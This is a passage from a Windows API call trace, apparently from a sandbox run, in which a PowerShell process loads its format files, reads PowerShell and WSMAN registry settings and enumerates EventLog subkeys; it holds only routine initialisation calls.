Data2=0x6e4a, Data3=0x417d, Data4=([0]=0xaf, [1]=0xd3, [2]=0x67, [3]=0x0, [4]=0x94, [5]=0x22, [6]=0x3, [7]=0x3e))) returned 0x0 [0024.879] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xf2ba7c14, Data2=0x712e, Data3=0x4bfb, Data4=([0]=0x81, [1]=0xdc, [2]=0x3c, [3]=0x1a, [4]=0x39, [5]=0x5d, [6]=0x41, [7]=0x80))) returned 0x0 [0024.879] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xe109e112, Data2=0xe0a, Data3=0x4edc, Data4=([0]=0x95, [1]=0xc7, [2]=0xa9, [3]=0x64, [4]=0x32, [5]=0x83, [6]=0xa, [7]=0xe3))) returned 0x0 [0024.879] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x5370dc80, Data2=0x497d, Data3=0x4d90, Data4=([0]=0x81, [1]=0xb8, [2]=0x24, [3]=0x3e, [4]=0x88, [5]=0xdd, [6]=0x4c, [7]=0x2f))) returned 0x0 [0024.880] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x3e4f5a70, Data2=0x80f3, Data3=0x4d17, Data4=([0]=0x8b, [1]=0xce, [2]=0x10, [3]=0xf8, [4]=0xbe, [5]=0xd6, [6]=0xe5, [7]=0x3b))) returned 0x0 [0024.880] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x13c927bd, Data2=0x38ba, Data3=0x4660, Data4=([0]=0xa4, [1]=0x8a, [2]=0xc9, [3]=0x2c, [4]=0x24, [5]=0xc2, [6]=0x44, [7]=0xa7))) returned 0x0 [0024.880] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xb80cfc6a, Data2=0xf10b, Data3=0x4925, Data4=([0]=0xac, [1]=0x93, [2]=0x49, [3]=0x81, [4]=0x47, [5]=0xd8, [6]=0xe6, [7]=0xbc))) returned 0x0 [0024.880] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xd34f2194, Data2=0x1345, Data3=0x4409, Data4=([0]=0xb1, [1]=0x23, [2]=0xc1, [3]=0x44, [4]=0x96, [5]=0xda, [6]=0x4f, [7]=0xbf))) returned 0x0 [0024.880] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x4cd9b026, Data2=0xddbd, Data3=0x4b73, Data4=([0]=0x9a, [1]=0xc3, [2]=0x8, [3]=0x67, [4]=0xbd, [5]=0x59, [6]=0x6b, [7]=0x14))) returned 0x0 [0024.881] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xaa771e89, Data2=0x2f20, Data3=0x42ad, Data4=([0]=0xbd, [1]=0xea, [2]=0xf7, [3]=0xf5, [4]=0x26, [5]=0x67, [6]=0x49, [7]=0x7a))) returned 0x0 [0024.881] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xff34cbbc, Data2=0x995, Data3=0x4601, Data4=([0]=0x8f, [1]=0x95, [2]=0x64, [3]=0x9b, [4]=0x12, [5]=0x2e, [6]=0x3a, [7]=0x47))) returned 0x0 [0024.881] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x4de1edec, Data2=0x2124, Data3=0x4074, Data4=([0]=0xa3, [1]=0xf4, [2]=0x6b, [3]=0xba, [4]=0xed, [5]=0x4e, [6]=0xa9, [7]=0xdf))) returned 0x0 [0024.881] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x165404e1, Data2=0x6c20, Data3=0x46ee, Data4=([0]=0x87, [1]=0x65, [2]=0x5b, [3]=0x95, [4]=0xe7, [5]=0x7d, [6]=0xbf, [7]=0x70))) returned 0x0 [0024.881] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xfa0441c7, Data2=0x6843, Data3=0x4568, Data4=([0]=0xaf, [1]=0xa8, [2]=0xec, [3]=0x6, [4]=0xbe, [5]=0x17, [6]=0xc3, [7]=0xd1))) returned 0x0 [0024.881] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xab2e43d4, Data2=0x1999, Data3=0x4282, Data4=([0]=0xa0, [1]=0x4e, [2]=0xf, [3]=0x85, [4]=0xa0, [5]=0x73, [6]=0x1, [7]=0xa1))) returned 0x0 [0024.882] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0024.882] ReadFile (in: hFile=0x308, lpBuffer=0x3ab75d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3ab75d8*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.883] ReadFile (in: hFile=0x308, lpBuffer=0x3ab75d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3ab75d8*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.883] ReadFile (in: hFile=0x308, lpBuffer=0x3ab75d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3ab75d8*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.884] ReadFile (in: hFile=0x308, lpBuffer=0x3ab75d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3ab75d8*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.884] ReadFile (in: hFile=0x308, lpBuffer=0x3ab75d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3ab75d8*, lpNumberOfBytesRead=0xcccf8*=0x8b4, lpOverlapped=0x0) returned 1 [0024.884] ReadFile (in: hFile=0x308, lpBuffer=0x3ab69f4, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3ab69f4*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.884] ReadFile (in: hFile=0x308, lpBuffer=0x3ab75d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3ab75d8*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.884] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccca0 | out: lpFileInformation=0xccca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0024.884] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccd88 | out: phkResult=0xccd88*=0x308) returned 0x0 [0024.884] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccd0c, lpData=0x0, lpcbData=0xccd08*=0x0 | out: lpType=0xccd0c*=0x1, lpData=0x0, lpcbData=0xccd08*=0x56) returned 0x0 [0024.884] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f8330 [0024.884] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcccdc, lpData=0x1b6f8330, lpcbData=0xcccd8*=0x56 | out: lpType=0xcccdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcccd8*=0x56) returned 0x0 [0024.884] RegCloseKey (hKey=0x308) returned 0x0 [0024.884] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0024.885] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x426f6478, Data2=0x147c, Data3=0x451a, Data4=([0]=0x90, [1]=0xf4, [2]=0xae, [3]=0x57, [4]=0x0, [5]=0x28, [6]=0xb0, [7]=0x7f))) returned 0x0 [0024.885] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x38999ebe, Data2=0x159d, Data3=0x434d, Data4=([0]=0xa9, [1]=0xe1, [2]=0x4c, [3]=0xe1, [4]=0xf8, [5]=0xa9, [6]=0x7e, [7]=0x78))) returned 0x0 [0024.885] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0024.885] ReadFile (in: hFile=0x308, lpBuffer=0x3af53c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3af53c0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.887] ReadFile (in: hFile=0x308, lpBuffer=0x3af53c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3af53c0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.887] ReadFile (in: hFile=0x308, lpBuffer=0x3af53c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3af53c0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.887] ReadFile (in: hFile=0x308, lpBuffer=0x3af53c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3af53c0*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.887] ReadFile (in: hFile=0x308, lpBuffer=0x3af53c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3af53c0*, lpNumberOfBytesRead=0xcccf8*=0xe98, lpOverlapped=0x0) returned 1 [0024.887] ReadFile (in: hFile=0x308, lpBuffer=0x3af49c0, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3af49c0*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.887] ReadFile (in: hFile=0x308, lpBuffer=0x3af53c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3af53c0*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.887] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccca0 | out: lpFileInformation=0xccca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe603f2b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0024.887] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccd88 | out: phkResult=0xccd88*=0x308) returned 0x0 [0024.887] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccd0c, lpData=0x0, lpcbData=0xccd08*=0x0 | out: lpType=0xccd0c*=0x1, lpData=0x0, lpcbData=0xccd08*=0x56) returned 0x0 [0024.888] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f8330 [0024.888] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcccdc, lpData=0x1b6f8330, lpcbData=0xcccd8*=0x56 | out: lpType=0xcccdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcccd8*=0x56) returned 0x0 [0024.888] RegCloseKey (hKey=0x308) returned 0x0 [0024.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0024.888] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xe7d2edc2, Data2=0xaeae, Data3=0x4a21, Data4=([0]=0xa6, [1]=0xca, [2]=0x79, [3]=0xb1, [4]=0x98, [5]=0x77, [6]=0xe8, [7]=0xeb))) returned 0x0 [0024.888] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x6c7b8a5b, Data2=0x834c, Data3=0x4bc8, Data4=([0]=0x83, [1]=0x7e, [2]=0x46, [3]=0x43, [4]=0xa7, [5]=0xae, [6]=0x5a, [7]=0x4d))) returned 0x0 [0024.923] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.923] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.924] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.924] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.924] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.924] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.924] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.924] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.926] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.926] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.927] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.927] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.927] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.927] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.928] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf98 | out: phkResult=0xccf98*=0x308) returned 0x0 [0024.929] RegQueryInfoKeyW (in: hKey=0x308, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xcce9c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xcce98, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xcce9c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xcce98*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.929] CoTaskMemFree (pv=0x0) [0024.929] RegEnumValueW (in: hKey=0x308, dwIndex=0x0, lpValueName=0x2a4120, lpcchValueName=0xccf48, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0xccf48, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0024.929] RegEnumValueW (in: hKey=0x308, dwIndex=0x1, lpValueName=0x2a4120, lpcchValueName=0xccf48, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0xccf48, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0024.929] RegEnumValueW (in: hKey=0x308, dwIndex=0x2, lpValueName=0x2a4120, lpcchValueName=0xccf48, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0xccf48, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0024.929] RegQueryValueExW (in: hKey=0x308, lpValueName="StackVersion", lpReserved=0x0, lpType=0xccf2c, lpData=0x0, lpcbData=0xccf28*=0x0 | out: lpType=0xccf2c*=0x1, lpData=0x0, lpcbData=0xccf28*=0x8) returned 0x0 [0024.929] CoTaskMemAlloc (cb=0xc) returned 0x1b7049a0 [0024.929] RegQueryValueExW (in: hKey=0x308, lpValueName="StackVersion", lpReserved=0x0, lpType=0xccefc, lpData=0x1b7049a0, lpcbData=0xccef8*=0x8 | out: lpType=0xccefc*=0x1, lpData="2.0", lpcbData=0xccef8*=0x8) returned 0x0 [0024.954] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0xccee8 | out: phkResult=0xccee8*=0x30c) returned 0x0 [0024.954] RegQueryInfoKeyW (in: hKey=0x30c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xccdec, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xccde8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xccdec*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xccde8*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.954] CoTaskMemFree (pv=0x0) [0024.954] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0024.954] RegEnumValueW (in: hKey=0x30c, dwIndex=0x0, lpValueName=0x2a4120, lpcchValueName=0xcce98, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0xcce98, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0024.954] CoTaskMemFree (pv=0x2a4120) [0024.954] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0024.954] RegEnumValueW (in: hKey=0x30c, dwIndex=0x1, lpValueName=0x2a4120, lpcchValueName=0xcce98, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0xcce98, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0024.954] CoTaskMemFree (pv=0x2a4120) [0024.954] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0024.954] RegEnumValueW (in: hKey=0x30c, dwIndex=0x2, lpValueName=0x2a4120, lpcchValueName=0xcce98, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0xcce98, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0024.955] CoTaskMemFree (pv=0x2a4120) [0024.955] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0xcce7c, lpData=0x0, lpcbData=0xcce78*=0x0 | out: lpType=0xcce7c*=0x1, lpData=0x0, lpcbData=0xcce78*=0x8) returned 0x0 [0024.955] CoTaskMemAlloc (cb=0xc) returned 0x1b704800 [0024.955] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0xcce4c, lpData=0x1b704800, lpcbData=0xcce48*=0x8 | out: lpType=0xcce4c*=0x1, lpData="2.0", lpcbData=0xcce48*=0x8) returned 0x0 [0024.955] CoTaskMemFree (pv=0x1b704800) [0024.955] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.955] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.955] CoTaskMemFree (pv=0x25b1a0) [0024.959] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.959] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.959] CoTaskMemFree (pv=0x25b1a0) [0024.965] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf18 | out: phkResult=0xccf18*=0x320) returned 0x0 [0024.967] RegQueryInfoKeyW (in: hKey=0x320, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xcce8c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xcce88, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xcce8c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xcce88*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.967] CoTaskMemFree (pv=0x0) [0024.968] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0024.968] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x0, lpName=0x2a4120, lpcchName=0xccf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xccf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.968] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x1, lpName=0x2a4120, lpcchName=0xccf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xccf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.968] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x2, lpName=0x2a4120, lpcchName=0xccf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xccf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.968] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x3, lpName=0x2a4120, lpcchName=0xccf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xccf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.968] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x4, lpName=0x2a4120, lpcchName=0xccf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xccf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.968] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x5, lpName=0x2a4120, lpcchName=0xccf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0xccf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.968] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x6, lpName=0x2a4120, lpcchName=0xccf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xccf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.968] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x7, lpName=0x2a4120, lpcchName=0xccf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xccf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.968] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x8, lpName=0x2a4120, lpcchName=0xccf18, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xccf18, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0024.968] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x330) returned 0x0 [0024.968] RegOpenKeyExW (in: hKey=0x330, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x0) returned 0x2 [0024.968] RegOpenKeyExW (in: hKey=0x320, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x334) returned 0x0 [0024.968] RegOpenKeyExW (in: hKey=0x334, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x0) returned 0x2 [0024.969] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x338) returned 0x0 [0024.969] RegOpenKeyExW (in: hKey=0x338, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x0) returned 0x2 [0024.969] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x33c) returned 0x0 [0024.969] RegOpenKeyExW (in: hKey=0x33c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x0) returned 0x2 [0024.969] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x340) returned 0x0 [0024.969] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x0) returned 0x2 [0024.969] RegOpenKeyExW (in: hKey=0x320, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x344) returned 0x0 [0024.969] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x0) returned 0x2 [0024.969] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x0) returned 0x5 [0024.995] RegOpenKeyExW (in: hKey=0x320, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x348) returned 0x0 [0024.995] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x0) returned 0x2 [0024.995] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: 